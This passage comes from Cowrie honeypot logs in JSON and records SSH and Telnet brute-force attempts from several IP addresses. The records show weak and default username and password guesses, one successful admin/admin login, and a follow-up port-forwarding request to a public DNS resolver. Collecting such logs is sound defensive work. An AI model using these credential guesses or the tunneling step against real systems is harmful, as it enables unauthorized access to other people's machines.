es192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:31.373550Z","src_ip":"64.89.163.156","session":"b07d70061f9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234512345","message":"login attempt [root/1234512345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:31.636013Z","src_ip":"64.89.163.156","session":"b07d70061f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:32.726366Z","src_ip":"64.89.163.156","session":"b07d70061f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":41912,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0af29cd694f","protocol":"ssh","message":"New connection: 87.106.44.172:41912 (10.17.0.5:22) [session: c0af29cd694f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:44.595908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:44.618912Z","src_ip":"87.106.44.172","session":"c0af29cd694f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:44.705164Z","src_ip":"87.106.44.172","session":"c0af29cd694f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234Abcd","message":"login attempt [root/Abcd1234Abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:45.042681Z","src_ip":"87.106.44.172","session":"c0af29cd694f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:46.125026Z","src_ip":"87.106.44.172","session":"c0af29cd694f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":58524,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0c5f04429a8","protocol":"ssh","message":"New connection: 103.15.226.202:58524 (10.17.0.5:22) [session: c0c5f04429a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:05.960269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:05.965329Z","src_ip":"103.15.226.202","session":"c0c5f04429a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:06.213713Z","src_ip":"103.15.226.202","session":"c0c5f04429a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"imigrasi","message":"login attempt [root/imigrasi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:06.958812Z","src_ip":"103.15.226.202","session":"c0c5f04429a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:08.210203Z","src_ip":"103.15.226.202","session":"c0c5f04429a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":51236,"dst_ip":"10.17.0.5","dst_port":22,"session":"2492c433a107","protocol":"ssh","message":"New connection: 87.106.44.172:51236 (10.17.0.5:22) [session: 2492c433a107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:40.047806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:40.090841Z","src_ip":"87.106.44.172","session":"2492c433a107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:40.174925Z","src_ip":"87.106.44.172","session":"2492c433a107","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cc","message":"login attempt [root/cc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:40.575041Z","src_ip":"87.106.44.172","session":"2492c433a107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:41.657874Z","src_ip":"87.106.44.172","session":"2492c433a107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4002,"dst_ip":"10.17.0.5","dst_port":22,"session":"011f101508f9","protocol":"ssh","message":"New connection: 87.251.64.176:4002 (10.17.0.5:22) [session: 011f101508f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:58.283410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:58.287902Z","src_ip":"87.251.64.176","session":"011f101508f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:58.394446Z","src_ip":"87.251.64.176","session":"011f101508f9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:59.350254Z","src_ip":"87.251.64.176","session":"011f101508f9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:59.486054Z","session":"011f101508f9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:59.616538Z","src_ip":"87.251.64.176","session":"011f101508f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:53:59.747949Z","src_ip":"87.251.64.176","session":"011f101508f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":36460,"dst_ip":"10.17.0.5","dst_port":22,"session":"e492b7d1648e","protocol":"ssh","message":"New connection: 87.106.44.172:36460 (10.17.0.5:22) [session: e492b7d1648e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:54:34.371191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:54:34.403009Z","src_ip":"87.106.44.172","session":"e492b7d1648e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:54:34.500730Z","src_ip":"87.106.44.172","session":"e492b7d1648e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qwertyuiop","message":"login attempt [debian/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:54:34.852030Z","src_ip":"87.106.44.172","session":"e492b7d1648e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:54:35.935723Z","src_ip":"87.106.44.172","session":"e492b7d1648e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":17754,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e7e90826ce1","protocol":"telnet","message":"New connection: 212.55.149.117:17754 (10.17.0.5:23) [session: 5e7e90826ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:54:55.851792Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":53908,"dst_ip":"159.203.135.109","dst_port":22,"session":"1609bf09a44c","protocol":"ssh","message":"New connection: 80.94.92.171:53908 (159.203.135.109:22) [session: 1609bf09a44c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:05.670257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:05.747799Z","src_ip":"80.94.92.171","session":"1609bf09a44c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:05.862333Z","src_ip":"80.94.92.171","session":"1609bf09a44c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:06.897890Z","src_ip":"80.94.92.171","session":"1609bf09a44c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:08.025691Z","src_ip":"80.94.92.171","session":"1609bf09a44c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.74.195.164","src_port":35485,"dst_ip":"159.203.135.109","dst_port":23,"session":"f282408edbfe","protocol":"telnet","message":"New connection: 105.74.195.164:35485 (159.203.135.109:23) [session: f282408edbfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:22.644290Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":57172,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7dcf9fddaa2","protocol":"ssh","message":"New connection: 87.106.44.172:57172 (10.17.0.5:22) [session: e7dcf9fddaa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:31.335347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:31.377107Z","src_ip":"87.106.44.172","session":"e7dcf9fddaa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:31.453142Z","src_ip":"87.106.44.172","session":"e7dcf9fddaa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2","message":"login attempt [root/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:31.901150Z","src_ip":"87.106.44.172","session":"e7dcf9fddaa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:32.982966Z","src_ip":"87.106.44.172","session":"e7dcf9fddaa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.83663535118103,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:35.480787Z","src_ip":"105.74.195.164","session":"f282408edbfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":10607,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b7df6dc7cd1","protocol":"ssh","message":"New connection: 193.24.211.100:10607 (159.203.135.109:22) [session: 4b7df6dc7cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:46.312913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:55:46.317133Z","src_ip":"193.24.211.100","session":"4b7df6dc7cd1","protocol":"ssh"}
